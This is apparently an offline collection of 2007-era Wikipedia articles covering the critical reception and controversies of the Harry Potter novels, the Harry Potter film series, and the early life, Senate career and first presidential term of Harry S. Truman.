          By contrast, author Fay Weldon, while admitting that the series is "not what the poets hoped for," nevertheless goes on to say, "but this is not poetry, it is readable, saleable, everyday, useful prose". The literary critic A.N. Wilson praised the Harry Potter series in 'The Times', stating: "There are not many writers who have JKs Dickensian ability to make us turn the pages, to weep openly, with tears splashing and a few pages later to laugh, at invariably good jokesWe have lived through a decade in which we have followed the publication of the liveliest, funniest, scariest and most moving childrens stories ever written." Charles Taylor of Salon.com, who is primarily a movie critic, took issue with Byatt's criticisms in particular. While he conceded that she may have "a valid cultural pointa teeny oneabout the impulses that drive us to reassuring pop trash and away from the troubling complexities of art", he rejected her claims that the series is lacking in serious literary merit and that it owes its success merely to the childhood reassurances it offers. Taylor stressed the progressively darker tone of the books, shown by the murder of a classmate and close friend and the psychological wounds and social isolation each causes. Taylor also pointed out that Philosopher's Stone, said to be the most lighthearted of the seven published books, disrupts the childhood reassurances that Byatt claims spur the series' success: the book opens with news of a double murder, for example.


          Stephen King called the series "a feat of which only a superior imagination is capable," and declared "Rowling's punning, one-eyebrow-cocked sense of humor" to be "remarkable." However, he wrote that despite the story being "a good one," he is "a little tired of discovering Harry at home with his horrible aunt and uncle," the formulaic beginning of all seven books. King has also joked that " Rowling's never met an adverb she did not like!" He does however predict that Harry Potter "will indeed stand time's test and wind up on a shelf where only the best are kept; I think Harry will take his place with Alice, Huck, Frodo, and Dorothy and this is one series not just for the decade, but for the ages." Orson Scott Card wrote a review of Deathly Hallows in which he said, "J.K. Rowling has created something that... deserves to last, to become a permanent classic of English literature, and not just as 'children's fiction.'" Tina Jordan of Entertainment Weekly called Deathly Hallows "stunningly beautiful" and predicted that "these books are going to be on my grandchildren's shelves, and my great-grandchildren's, and maybe even further down the line than that." A Telegraph review of Harry Potter and the Half-Blood Prince and of the series as a whole, observed that Rowling's success was entirely self-made and not due to hype of her books by the publishing world, which has instead followed in her wake.


          The books have also spawned studies investigating the saga's literary merit. One collaboration by a number of critics is The Ivory Tower and Harry Potter. In this volume, Amanda Cockrell concludes, "Harry Potter is not the lightweight imitation of such serious high fantasy as A Wizard of Earthsea or The Lord of the Rings, but a legitimate descendant of the darker and more complicated school story," and suggests that "we need to take a deeper look into Harry Potter, who is deeper than we think." She points to Rudyard Kipling, C.S. Lewis, Jill Murphy, Anthony Horowitz, Diana Wynne Jones, Thomas Hughes, Roald Dahl, and others as legitimate literary predecessors to the Harry Potter saga. Lana A. Whithead, editor of the book, notes that Rowling "appears to be very seriously attempting a literary achievement." John Granger, a conservative Orthodox Christian and English Literature professor at Peninsula College, writes that the "Harry Potter books are classicsand not just 'kid-lit' but as classics of world literature," and believes the books carry a "mother-lode" of deeper literary and symbolic meaning than meets the eye.


          


          Controversy


          The books have been the subject of a number of legal proceedings, largely stemming either from claims by American Christian groups that the magic in the books promotes witchcraft among children, or from various conflicts over copyright and trademark infringements.


          The books' immense popularity and high market value has led Rowling, her publishers, and film distributor Warner Bros. to take legal measures to protect their copyright, which have included banning the sale of Harry Potter imitations, targeting the owners of websites over the "Harry Potter" domain name, and suing author Nancy Stouffer to counter her accusations that Rowling had plagiarised her work.


          Various religious conservatives have claimed that the books promote witchcraft and are therefore unsuitable for children, while a number of critics have criticised the books for promoting various political agendas. Her revelation that the character Dumbledore was homosexual has increased the political controversies surrounding the series.


          Harry Potter books


          
            	Rowling, J. K. (1997). Harry Potter and the Philosopher's Stone (in English). London: Bloomsbury/New York City: Scholastic, et al. UK ISBN 0747532699/U.S. ISBN 0590353403.


            	Rowling, J.K. (1998). Harry Potter and the Chamber of Secrets (in English). London: Bloomsbury/New York City: Scholastic, et al. UK ISBN 0747538492/U.S. ISBN 0439064864.
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            	Rowling, J.K. (2007). Harry Potter and the Deathly Hallows (in English). London: Bloomsbury/New York City: Scholastic, et al. UK ISBN 1551929767/U.S. ISBN 0545010225.

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Harry_Potter"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Harry Potter (film series)


        
          

          
            
              	Harry Potter film series
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              DVD boxset of the first five films. (UK)
            


            
              	Directed by

              	Chris Columbus

              ( Philosopher's Stone, Chamber of Secrets)

              Alfonso Cuarn

              ( Prisoner of Azkaban)

              Mike Newell

              ( Goblet of Fire)

              David Yates

              ( Order of the Phoenix, Half-Blood Prince)
            


            
              	Producedby

              	David Heyman
            


            
              	Writtenby

              	Novels: J. K. Rowling

              Screenplays:

              Steve Kloves

              (PS, COS, POA, GOF, HBP, DH)

              Michael Goldenberg (OOTP)
            


            
              	Starring

              	Trio cast:

              Daniel Radcliffe

              Rupert Grint

              Emma Watson

              Other principal cast:

              (two or more films)

              Ralph Fiennes

              Richard Harris

              Michael Gambon

              Gary Oldman

              Maggie Smith

              Alan Rickman

              Robbie Coltrane
            


            
              	Musicby

              	John Williams

              (PS, COS, POA)

              Patrick Doyle (GOF)

              Nicholas Hooper

              (OOTP, HBP)
            


            
              	Distributedby

              	Warner Bros., Later Universal Pictures outside USA\UK.
            


            
              	Releasedate(s)

              	2001  TBA
            


            
              	Running time

              	750 min.
            


            
              	Country

              	[image: Flag of the United States]United States
            


            
              	Language

              	English
            


            
              	Budget

              	$655 million
            


            
              	Gross revenue

              	$4,480,956,067
            

          


          The Harry Potter films are a fantasy series based on the Harry Potter novels by British writer J. K. Rowling.


          The five films currently released became the highest grossing film series of all time, with USD$4.48 billion in worldwide receipts. The series consists of five motion pictures with the latest instalment, Harry Potter and the Order of the Phoenix, released in cinemas in the United Kingdom and Ireland on 12 July 2007, and in Canada, Asia, Australia and the United States on 11 July 2007. In the United States, the revenue from the midnight opening was $12 million and first day revenues overtook Spider-Man 2's record ($40.4 million) for the highest Wednesday opening at $44.2 million.


          Warner Brothers holds the rights to produce adaptations of the two remaining novels, Harry Potter and the Half-Blood Prince and Harry Potter and the Deathly Hallows. The first of these entered production in the fall of 2007 and has a projected release date of November 21, 2008, and will be directed by David Yates.


          


          Origins


          In 1999, Rowling sold the film rights for the first four Harry Potter books to Warner Bros. for a reported 1 million (US$2,000,000). A demand Rowling made was that the principal cast be kept strictly British, allowing nevertheless for the inclusion of many Irish actors such as the late Richard Harris as Dumbledore, and for casting of French and Eastern European actors in Harry Potter and the Goblet of Fire where characters from the book are specified as such. Rowling was hesitant to sell the rights because she "didn't want to give them control over the rest of the story" by selling the rights to the characters, which would have enabled WB to make non-author-written sequels.


          Although Steven Spielberg initially negotiated to direct the film, he declined the offer. Spielberg wanted the adaptation to be an animated film, with American actor Haley Joel Osment to provide Harry Potter's voice. Spielberg contended that, in his opinion, there was every expectation of profit in making the film, and that making money would have been like "shooting ducks in a barrel. It's just a slam dunk. It's just like withdrawing a billion dollars and putting it into your personal bank accounts. There's no challenge." In the Rubbish Bin section of her website, Rowling maintains that she has no role in choosing directors for the films, writing "Anyone who thinks I could (or would) have 'veto-ed' him [Spielberg] needs their Quick-Quotes Quill serviced." After Spielberg left, talks began with other directors, including: Chris Columbus, Terry Gilliam, Jonathan Demme, Mike Newell, Alan Parker, Wolfgang Petersen, Rob Reiner, Tim Robbins, Brad Silberling, and Peter Weir. Petersen and Reiner then both pulled out of the running in March 2000. It was then narrowed down to Silberling, Columbus, Parker and Gilliam. Rowling's first choice was Terry Gilliam. However on March 28, 2000 Columbus was appointed as director of the film, with Warner Bros. citing his work on other family films such as Home Alone and Mrs Doubtfire as influences for their decision.


          
            "Harry Potter is the kind of timeless literary achievement that comes around once in a lifetime. Since the books have generated such a passionate following across the world, it was important to us to find a director that has an affinity for both children and magic. I can't think of anyone more ideally suited for this job than Chris."


             Lorenzo di Bonaventura

          


          Steve Kloves was selected to write the screenplay for the film. He described adapting the book as "tough", as it did not "lend itself to adaptation as well as the next two books." Kloves was sent a "raft" of synopses of books proposed as film adaptations, with Harry Potter being the only one that jumped out at him. He went out and bought the book, and became an instant fan. When speaking to Warner Bros. he stated that the film had to be British, and had to be true to the characters. David Heyman was selected to produce the film. Rowling received a large amount of creative control for the film, being made an executive producer, an arrangement that Columbus did not mind.


          Warner Bros. had initially planned to release the film over the July 4, 2001 weekend, making for such a short production window that several proposed directors pulled themselves out of the running. However due to time constraints the date was put back to November 16, 2001.


          


          Production


          Chris Columbus directed the first two films, Harry Potter and the Philosopher's Stone and Harry Potter and the Chamber of Secrets, Alfonso Cuarn directed the third, and Mike Newell directed the fourth. The fifth, Harry Potter and the Order of the Phoenix, was directed by David Yates, he will also direct the sixth, Harry Potter and the Half-Blood Prince. Columbus also worked as producer on the first three films.


          Rowling's first choice for director was originally Terry Gilliam, but Columbus' involvement as screenwriter on the 1985 film Young Sherlock Holmes encouraged Warner Bros. to select him in preference. It is similar to the Harry Potter series in that it includes three leads that bear a strong resemblance to the Harry, Ron and Hermione of Rowling's description (as does a character named Dudley to Draco Malfoy). They investigate a supernatural mystery in a Gothic boarding school, where staff include the Professor Flitwick-like Waxflatter, and sinister Rathe. Scenes from the film were used to cast the first Harry Potter film.


          In 2000, the virtually unknown British actors Daniel Radcliffe, Emma Watson and Rupert Grint were selected from thousands of auditioning children to play the roles of Harry Potter, Hermione Granger and Ron Weasley, respectively. They have played their characters in the first five films, and on 23 March 2007, Warner Bros. confirmed that all three would return for the sixth and seventh. Other notable Potter character portrayals include Robbie Coltrane's Hagrid, Alan Rickman's Severus Snape, Tom Felton's Draco Malfoy, Maggie Smith's Minerva McGonagall, and Richard Harris and Michael Gambon's Albus Dumbledore (Gambon took over for the third film following Harris's death in 2002). Each reprised their characters for Order of the Phoenix, along with Jason Isaacs as Lucius Malfoy, Gary Oldman as Sirius Black, and Ralph Fiennes as Lord Voldemort.


          The first four films were scripted by Steve Kloves with the direct assistance of Rowling, though she allowed Kloves what he described as "tremendous elbow room". Thus, the plot and tone of each film and its corresponding book are virtually the same with some changes and omissions for purposes of cinematic style and time constraints. Rowling has asked Kloves to keep being faithful to the books.


          The fifth film, Harry Potter and the Order of the Phoenix was released by Warner Bros. on July 11, 2007, in English-speaking countries, except for the UK and Ireland which released the movie on July 12. Ironically, Order of the Phoenix is the shortest film in the series so far (at 138 mins.), whereas its book counterpart is the longest book in the series (at 257,045 word count).


          The sixth, Half-Blood Prince is scheduled for a worldwide release on the 21st of November, 2008. Production of Deathly Hallows is confirmed, but no date has been set. If the year-and-half gap between each of the movies is maintained, the movie will probably be released around mid-to-late 2010.


          


          Response


          All the films in the series have been a tremendous financial success, causing the franchise to be seen as one of the major Hollywood tent-poles, akin to Star Wars, James Bond, Shrek, Spider-Man, The Lord of the Rings and Pirates of the Caribbean.


          However, opinions of the films generally divide book fans right down the middle, with one group preferring the more faithful approach of the first two films, and another group preferring the more stylised character-driven approach of the later films.


          Some feel the series has a "disjointed" feel due to the changes in directors, as well as Michael Gambon's interpretation of Dumbledore differing from that of Richard Harris's.


          Chris Columbus's approach was extremely faithful to the source material, recreating the book as much as possible. A criticism is that his two films contain much action but little emotion, undeveloped characters, and an abundance of expository dialogue. Such a strict recreation of the book also results in a slow pace, and consequently, the films are accused of being too long.


          Alfonso Cuarn's approach was more stylised and lively, using many handheld long takes and dark uses of colour. Unlike Columbus, his dislike of expository dialogue or explanation of backstory (most notably the Marauder's story) led to criticisms of his approach being "style over substance". His re-imagining of Hogwarts and student attire caused some to feel the continuity of the series had been hurt, though some find it to be closer to the descriptions in the novels. Furthermore, his quickfire pacing led to a shorter film, leading some to call Cuarn "lazy". However, the film is often perceived by critics to be the finest in the series.


          Mike Newell's approach focused more on humour and character development. Newell delved more into interactions between the students and their relationships, creating the feeling of a British boarding school. A criticism is that Newell left in moments of slapstick, childish humour (such as Madame Maxime eating something out of Hagrid's beard) in favour of the book's subplots, resulting in a rushed, disjointed film.


          David Yates took his movie in an entirely different direction. He focused more on the tone of the book, ensuring that the film was as dark as its counterpart. This has led to criticisms that the movie is missing the delight and "magic" that instalments three and four had. However, it is unclear whether these "problems" should be attributed to Michael Goldenberg (the screenwriter, taking over for Steve Kloves) or rather to Yates himself. On the other hand, some have seen his direction thus far as an improvement; comparable to Cuarn's dark style.


          It is worth mentioning that perceptions of the films have changed over time. For instance, at the time of its release, Chamber of Secrets was almost universally praised as superior to the first film, due to the darker tone and improved acting of the leads. However, as later entries became even darker and the performances continued to improve, it became less praised and thought of simply as "more of Columbus doing the same thing as the first". Furthermore, both films were criticised for lacking character moments, but the repeated airings of "Extended TV Versions" on the ABC and ABC Family networks, which incorporate deleted scenes into the films, have been able to add a few character moments back in. Columbus's films have benefited the most from these "Extended" versions.


          Rowling has been constantly supportive of the films, and evaluated Order of the Phoenix as "the best one yet" in the series. She wrote on her web site of the changes in the book-to-film transition, "It is simply impossible to incorporate every one of my storylines into a film that has to be kept under four hours long. Obviously films have restrictions novels do not have, constraints of time and budget; I can create dazzling effects relying on nothing but the interaction of my own and my readers imaginations".


          


          Films


          
            
              	Title

              	Release date

              	Director

              	Total worldwide

              box office
            


            
              	Harry Potter and the Philosopher's Stone

              	November 16, 2001

              	Chris Columbus

              	$976,475,550
            


            
              	Harry Potter and the Chamber of Secrets

              	November 15, 2002

              	$878,988,482
            


            
              	Harry Potter and the Prisoner of Azkaban

              	June 4, 2004

              	Alfonso Cuarn

              	$795,541,069
            


            
              	Harry Potter and the Goblet of Fire

              	November 18, 2005

              	Mike Newell

              	$896,016,159
            


            
              	Harry Potter and the Order of the Phoenix

              	July 12, 2007

              	David Yates

              	$937,916,646
            


            
              	Harry Potter and the Half-Blood Prince

              	November 21, 2008

              	
            


            
              	Harry Potter and the Deathly Hallows

              	TBD
            


            
              	Totals of films 1-5 as of September 22, 2007

              	$4,484,934,783
            

          


          As of November 2007, the Harry Potter film franchise is the highest grossing film franchise of all time, with the five films released so far grossing $4.48 billion worldwide. Higher than all 21 James Bond films and the six films in the Star Wars franchise, with the figures not adjusted for inflation.
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                  Harry S. Truman
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                  33rd President of the United States
                

              
            


            
              	Inoffice

              April 12, 1945 January 20, 1953
            


            
              	VicePresident

              	None (19451949),

              Alben W. Barkley (19491953)
            


            
              	Precededby

              	Franklin D. Roosevelt
            


            
              	Succeededby

              	Dwight D. Eisenhower
            


            
              	
                


                
                  34th Vice President of the United States
                

              
            


            
              	Inoffice

              January 20, 1945 April 12, 1945
            


            
              	President

              	Franklin D. Roosevelt
            


            
              	Precededby

              	Henry A. Wallace
            


            
              	Succeededby

              	Alben W. Barkley
            


            
              	
                


                
                  United States Senator

                  from Missouri
                

              
            


            
              	Inoffice

              January 3, 1935 January 17, 1945
            


            
              	Precededby

              	Roscoe C. Patterson
            


            
              	Succeededby

              	Frank P. Briggs
            


            
              	
                

              
            


            
              	Born

              	May 8, 1884(1884-05-08)

              Lamar, Missouri
            


            
              	Died

              	December 26, 1972 (aged88)

              Kansas City, Missouri
            


            
              	Politicalparty

              	Democratic
            


            
              	Spouse

              	Bess Wallace Truman
            


            
              	Occupation

              	Small businessman ( haberdasher), farmer
            


            
              	Religion

              	Baptist
            


            
              	Signature

              	[image: Harry S. Truman's signature]
            


            
              	Military service
            


            
              	Service/branch

              	United States Army

              Missouri National Guard
            


            
              	Yearsof service

              	1905-1920
            


            
              	Rank

              	Colonel
            


            
              	Commands

              	Battery D, 129th Field Artillery, 60th Brigade, 35th Infantry Division
            


            
              	Battles/wars

              	World War I
            

          


          Harry S. Truman ( May 8, 1884  December 26, 1972) was the thirty-third President of the United States (19451953). As vice president, he succeeded Franklin D. Roosevelt, who died less than three months after he began his fourth term.


          During World War I Truman served as an artillery officer. After the war he became part of the political machine of Tom Pendergast and was elected a county judge in Missouri and eventually a United States Senator. After he gained national prominence as head of the wartime Truman Committee, Truman replaced vice president Henry A. Wallace as Roosevelt's running mate in 1944.


          As president, Truman faced challenge after challenge in domestic affairs. The disorderly reconversion of the economy of the United States was marked by severe shortages, numerous strikes, and the passage of the Taft-Hartley Act over his veto. He confounded all predictions to win re-election in 1948, largely due to his famous Whistle Stop Tour of rural America. After his re-election he was able to pass only one of the proposals in his Fair Deal program. He used executive orders to begin desegregation of the U.S. armed forces and to launch a system of loyalty checks to remove thousands of communist sympathizers from government office, even though he strongly opposed mandatory loyalty oaths for governmental employees, a stance that led to charges that his administration was soft on communism. Truman's presidency was also eventful in foreign affairs, with the end of World War II and his decision to use nuclear weapons against Japan, the founding of the United Nations, the Marshall Plan to rebuild Europe, the Truman Doctrine to contain communism, the beginning of the Cold War, the creation of NATO, and the Korean War. Corruption in Truman's administration reached the cabinet and senior White House staff. Republicans made corruption a central issue in the 1952 campaign.


          Truman, whose demeanor was very different from that of the patrician Roosevelt, was a folksy, unassuming president. He popularized such phrases as " The buck stops here" and "If you can't stand the heat, you better get out of the kitchen." He overcame the low expectations of many political observers who compared him unfavorably with his highly regarded predecessor. At one point in his second term, near the end of the Korean War, Truman's public opinion ratings reached the lowest point yet recorded for any United States president. Despite negative public opinion during his term in office, popular and scholarly assessments of his presidency became more positive after his retirement from politics and the publication of his memoirs. He died in 1972. Many U.S. scholars today rank him among the top ten presidents. Truman's legendary upset victory in 1948 over Thomas E. Dewey is routinely invoked by underdog presidential candidates.


          


          


          Personal life


          Truman was born on May 8, 1884 in Lamar, Missouri, the second child of John Anderson Truman (1851-1914) and Martha Ellen Young Truman (1852-1947). His parents chose the name Harry after his mother's brother, Harrison Young (1846-1916), Harry's uncle. His parents chose "S" as his middle name, in attempt to please both of Harry's grandfathers, Anderson Shippe Truman and Solomon Young; the initial did not actually stand for anything, as was a common practice among Scots-Irish. A brother, John Vivian (18861965), soon followed, along with sister Mary Jane Truman (18891978).


          John Truman was a farmer and livestock dealer. The family lived in Lamar until Harry was ten months old. They then moved to a farm near Harrisonville, then to Belton, and in 1887 to his grandparents' 600acre (240ha) farm in Grandview. When Truman was six, his parents moved the family to Independence, so he could attend the Presbyterian Church Sunday School. Truman did not attend a traditional school until he was eight.


          As a young boy, Truman had three main interests: music, reading, and history, all encouraged by his mother. He was very close to his mother for as long as she lived, and as president solicited political as well as personal advice from her. He got up at five every morning to practice the piano, and went to a local music teacher twice a week until he was fifteen. Truman also read a great deal of popular history. He was a page at the 1900 Democratic National Convention at Convention Hall in Kansas City.


          After graduating from Independence High School (now William Chrisman High School) in 1901, Truman worked as a timekeeper on the Santa Fe Railroad, sleeping in " hobo camps" near the rail lines; he then worked at a series of clerical jobs. He returned to the Grandview farm in 1906 and stayed there until 1917 when he went into military service.


          The physically demanding work he put in on the Grandview farm was a formative experience. During this period he courted Bess Wallace and even proposed to her in 1911. She turned him down, and Truman said he wanted to make more money than a farmer before he proposed again. He did propose again in 1918, after coming back as a Captain from World War I, and she accepted.


          Truman was the only president who served after 1897 not to earn a college degree: poor eyesight prevented him from applying to West Point, his childhood dream, and financial constraints prevented him from securing a degree elsewhere. He did, however, study for two years toward a law degree at the Kansas City Law School (now the University of Missouri-Kansas City School of Law) in the early 1920s.


          


          World War I
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              Truman in uniform ca. 1918
            

          


          Truman enlisted in the Missouri Army National Guard in 1905, and served in it until 1911. With the onset of American participation in World War I, he rejoined the Guard. At his physical in 1905, his eyesight had been an unacceptable 20/50 in the right eye and 20/400 in the left. Reportedly he passed by secretly memorizing the eye chart.


          Before going to France, he was sent to Camp Doniphan, adjacent to Fort Sill, near Lawton, Oklahoma for training. He ran the camp canteen with Edward Jacobson, who had experience in a Kansas City clothing store as a clerk. At Ft. Sill he also met Lieutenant James M. Pendergast, the nephew of Thomas Joseph (T.J.) Pendergast, a Kansas City politician. Both men would have profound influences on later events in Truman's life.


          Truman was chosen to be an officer, and then battery commander in an artillery regiment in France. His unit was Battery D, 129th Field Artillery, 60th Brigade, 35th Infantry Division, known for its discipline problems. During a sudden attack by the Germans in the Vosges Mountains, the battery started to disperse; Truman ordered them back into position using profanities that he had "learned while working on the Santa Fe railroad." Shocked by the outburst, his men reassembled and followed him to safety. Under Captain Truman's command in France, the battery did not lose a single man. The war was a transformative experience that brought out Truman's leadership qualities; he later rose to the rank of Colonel in the National Guard, and his war record made possible his later political career in Missouri.


          


          Marriage and early business career
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              The Trumans' wedding day, June 28, 1919
            

          


          At the war's conclusion, Truman returned to Independence and married his longtime love interest, Bess Wallace, on June 28, 1919. The couple had one child, Mary Margaret ( February 17, 1924 - January 29, 2008).


          A month before the wedding, banking on their success at Fort Sill and overseas, Truman and Jacobson opened a haberdashery of the same name at 104 West 12th Street in downtown Kansas City. After a few successful years, the store went bankrupt during the recession of 1921, which greatly affected the farm economy. Truman blamed the fall in farm prices on the policies of the Republicans; he worked to pay off the debts until 1934, just as he was going into the U.S. Senate, when banker William T. Kemper retrieved the note during the sale of a bankrupt bank and allowed Truman to pay it off for $1,000. (At the same time Kemper made a $1,000 contribution to Truman's campaign.)


          Former comrades in arms and former business partners, Jacobson and Truman remained close friends for life. Decades later, Jacobson's advice to Truman on Zionism would play a critical role in the US government's decision to recognize Israel.


          


          Politics


          


          Jackson County judge


          In 1925, with the help of the Kansas City Democratic machine led by boss Tom Pendergast, Truman was elected as a judge of the County Court of the eastern district of Jackson Countyan administrative, not judicial, position similar to county commissioners elsewhere.


          In 1922, Truman gave a friend $10 for an initiation fee for the Ku Klux Klan but later asked to get his money back; he was never initiated, never attended a meeting, and never claimed membership. Though Truman at times expressed anger towards Jews in his diaries, his business partner and close friend Edward Jacobson was Jewish. Truman's attitudes toward blacks were typical of white Missourians of his era, and were expressed in his casual use of terms like " nigger". Years later, another measure of his racial attitudes would come to the forefront: tales of the abuse, violence, and persecution suffered by many African American veterans upon their return from World War II infuriated Truman, and were a major factor in his decision to use Executive Order 9981 to back civil rights initiatives and desegregate the armed forces.


          He was not reelected in 1924, but in 1926 was elected the presiding judge for the court, and was reelected in 1930.


          In 1930 Truman coordinated the "Ten Year Plan", which transformed Jackson County and the Kansas City skyline with new public works projects, including an extensive series of roads, construction of a new Wight and Wight-designed County Court building, and the dedication of a series of 12 Madonna of the Trail monuments honoring pioneer women. Much of the building was done with Pendergast Ready Mixed concrete.


          In 1933 Truman was named Missouri's director for the Federal Re-Employment program (part of the Civil Works Administration) at the request of Postmaster General James Farley as payback to Pendergast for delivering the Kansas City vote to Franklin D. Roosevelt in the 1932 presidential election. The appointment confirmed Pendergast's control over federal patronage jobs in Missouri and marked the zenith of his power. It was also to create a relationship between Truman and Harry Hopkins and assure avid Truman support for the New Deal.


          


          U.S. Senator


          


          First term
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          After serving as judge, Truman wanted to run for Governor or Congress, but Pendergast rejected these ideas. In 1934, Pendergast's aides suggested Harry Truman as a candidate for Senator; after three other men turned him down, Pendergast reluctantly backed Truman as the candidate for the 1934 U.S. Senate election for Missouri. During the Democratic primary, Truman defeated John J. Cochran and Tuck Milligan, the brother of federal prosecutor Maurice M. Milligan. Truman then defeated the incumbent Republican, Roscoe C. Patterson, by nearly 20 percent.


          On election day, four people were killed at the polls, prompting various investigations into Kansas City election practices.


          Truman assumed office under a cloud as "the senator from Pendergast." He gave patronage decisions to Pendergast but always maintained he voted his conscience. Truman always defended the patronage by saying that by offering a little, he saved a lot.


          In his first term as a U.S. Senator, Truman spoke out bluntly against corporate greed, and warned about the dangers of Wall Street speculators and other moneyed special interests attaining too much influence in national affairs. He was, however, largely ignored by President Roosevelt, who appeared not to have taken him seriously at this stage. Truman reportedly had difficulty getting White House secretaries to return his calls.


          The 1936 election of Pendergast-backed Governor Lloyd C. Stark revealed even bigger voter irregularities in Missouri than had been uncovered in 1934. Milligan prosecuted 278 defendants in vote fraud cases; he convicted 259. Stark turned on Pendergast, urged prosecution, and was able to wrest federal patronage from the Pendergast machine.


          Ultimately Milligan discovered that Pendergast had not paid federal taxes between 1927 and 1937 and had conducted a fraudulent insurance scam. In 1939, Pendergast pled guilty and received a $10,000 fine and a 15-month sentence at Leavenworth Federal Prison. No charges were filed against Truman.


          [bookmark: 1940_election]


          1940 election


          Truman's prospects for re-election to the Senate looked bleak. In 1940, both Stark and Maurice Milligan challenged him in the Democratic primary for the Senate. Robert E. Hannegan, who controlled St. Louis Democratic politics, threw his support in the election behind Truman. (Hannegan would go on to broker the 1944 deal that put Truman on the vice presidential ticket for Roosevelt.) Truman campaigned tirelessly and combatively. In the end, Stark and Milligan split the anti-Pendergast vote in the Democratic primary, with Stark and Milligan having more combined votes than Truman.


          In September 1940, during the general election campaign, Truman was elected Grand Master of the Missouri Grand Lodge of Freemasonry. In November of that year, he defeated Kansas City State Senator Manvel H. Davis by over 40,000 votes and retained his Senate seat. Truman said later that the Masonic election assured his victory in the general election over State Senator Davis.


          The successful 1940 Senate campaign is regarded by many biographers as a personal triumph and vindication for Truman and as a precursor to the much more celebrated 1948 drive for the White House, another contest where he was underestimated. It was the turning point of his political career.


          


          Defense policy statements


          On June 23, 1941, the day after Nazi Germany attacked the Soviet Union, Senator Truman declared: "If we see that Germany is winning we ought to help Russia and if Russia is winning we ought to help Germany, and that way let them kill as many as possible, although I don't want to see Hitler victorious under any circumstances. Neither of them thinks anything of their pledged word." Although the sentiment was in line with what many Americans felt at the time, it was regarded by later biographers as both inappropriate and cynical. The remark was the first in a long series of prominently inopportune off-the-cuff statements by Truman to members of the national press corps.


          


          Truman Committee


          Truman gained fame and respect when his preparedness committee (popularly known as the " Truman Committee") investigated the scandal of military wastefulness by exposing fraud and mismanagement. The Roosevelt administration had initially feared the Committee would hurt war morale, and Under Secretary of War Robert P. Patterson wrote to the president declaring it was "in the public interest" to suspend the committee. Truman wrote a letter to the president saying that the committee was "100 percent behind the administration" and that it had no intention of criticizing the military conduct of the war. The committee was considered a success and is reported to have saved at least $15 billion. Truman's advocacy of common-sense cost-saving measures for the military attracted much attention. In 1943, his work as chairman earned Truman his first appearance on the cover of Time. He would eventually appear on nine Time covers and be named the magazine's Man of the Year for 1945 and 1948. After years as a marginal figure in the Senate, Truman was cast into the national spotlight after the success of the Truman Committee.


          


          Vice Presidency


          Following months of uncertainty over the president's preference for a running mate, Truman was selected as Roosevelt's vice presidential candidate in 1944 as the result of a deal worked out by Hannegan, who was Democratic National Chairman that year.


          Although his public image remained that of a robust, engaged world leader, Roosevelt's physical condition was in fact rapidly deteriorating in mid-1944. A handful of key FDR advisers, including outgoing Democratic National Committee Chairman Frank C. Walker, incoming Chairman Robert Hannegan, party treasurer Edwin W. Pauley, strategist Ed Flynn, and lobbyist George E. Allen closed ranks in the summer of 1944 to "keep Henry Wallace off the ticket." They considered Wallace, the incumbent vice president, too liberal, and had grave concerns about the possibility of his ascension to the presidency. Allen would later recall that each of these men "realized that the man nominated to run with Roosevelt would in all probability be the next President..."


          After meeting personally with the party leaders, FDR agreed to replace Wallace as vice president; however, Roosevelt chose to leave the final selection of a running mate unresolved until the later stages of the Democratic National Convention in Chicago. James F. Byrnes of South Carolina was initially favored, but labor leaders opposed him. Roosevelt also opposed Byrnes, but was reluctant to disappoint any candidate and did not want to tell Byrnes of his opposition directly; thus the president told Hannegan to "clear it [Byrnes' nomination] with Sidney", meaning labor leader and Byrnes opponent Sidney Hillman, a few days before the convention. In addition, Byrnes' status as a segregationist gave him problems with Northern liberals, and he was also considered vulnerable because of his conversion from Catholicism. Reportedly, Roosevelt offered the position to Governor Henry F. Schricker of Indiana, but he declined. Before the convention began, Roosevelt wrote a note saying he would accept either Truman or Supreme Court Justice William O. Douglas; state and city party leaders preferred Truman. Truman himself did not campaign directly or indirectly that summer for the number two spot on the ticket, and always maintained that he had not wanted the job of vice president.


          Truman's candidacy was humorously dubbed the second " Missouri Compromise" at the 1944 Democratic National Convention in Chicago, as his appeal to the party centre contrasted with the liberal Wallace and the conservative Byrnes. The nomination was well received, and the Roosevelt-Truman team went on to score a 43299 electoral-vote victory in the 1944 presidential election, defeating Governor Thomas E. Dewey of New York and Governor John Bricker of Ohio. Truman was sworn in as vice president on January 20, 1945, and served less than three months.


          Truman's vice-presidency was relatively uneventful, and Roosevelt rarely contacted him, even to inform him of major decisions. Truman shocked many when he attended his disgraced patron Pendergast's funeral a few days after being sworn in. Truman was reportedly the only elected official who attended the funeral. Truman brushed aside the criticism, saying simply, "He was always my friend and I have always been his."


          On April 12, 1945, Truman was urgently called to the White House, where Eleanor Roosevelt informed him that the president had died after suffering a massive cerebral hemorrhage. Truman's first concern was for Mrs. Roosevelt. He asked if there was anything he could do for her, to which she replied, "Is there anything we can do for you? For you are the one in trouble now."


          


          Presidency 19451953


          


          First term (19451949)


          


          Assuming office
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          Truman had been vice president for only 82 days when President Roosevelt died. He had had very little meaningful communication with Roosevelt about world affairs or domestic politics after being sworn in as vice president, and was completely uninformed about major initiatives relating to the successful prosecution of the warnotably the top secret Manhattan Project, which was about to test the world's first atomic bomb.


          Shortly after taking the oath of office, Truman said to reporters:


          
            	"Boys, if you ever pray, pray for me now. I don't know if you fellas ever had a load of hay fall on you, but when they told me what happened yesterday, I felt like the moon, the stars, and all the planets had fallen on me."

          


          A few days after his swearing in, he wrote to his wife, Bess: "It won't be long until I can sit back and study the whole picture and... there'll be no more to this job than there was to running Jackson County and not anymore worry." However, the simplicity he had predicted would prove elusive.


          Upon assuming the presidency, Truman asked all the members of FDR's cabinet to remain in place, told them that he was open to their advice, and laid down a central principle of his administration: he would be the one making decisions, and they were to support him. Just a few weeks after he assumed office, on his 61st birthday, the Allies achieved victory in Europe.


          Truman was much more difficult for the Secret Service to protect than the wheel chair bound Roosevelt was. The Secret Service had been protecting Roosevelt for over 12 years. Because he was wheel chair bound, most of the time, if he needed to go anywhere, his Secret Service agents would push him at their own speed, yet Truman had no such restrictions and was an avid walker, regularly taking walks around Washington D.C.


          


          Atomic bomb use


          Truman was quickly briefed on the Manhattan Project and authorized use of atomic weapons against the Japanese in August 1945, after Japan did not accept the Potsdam Declaration. The atomic bombings that followed were the first, and so far the only, instance of nuclear warfare.


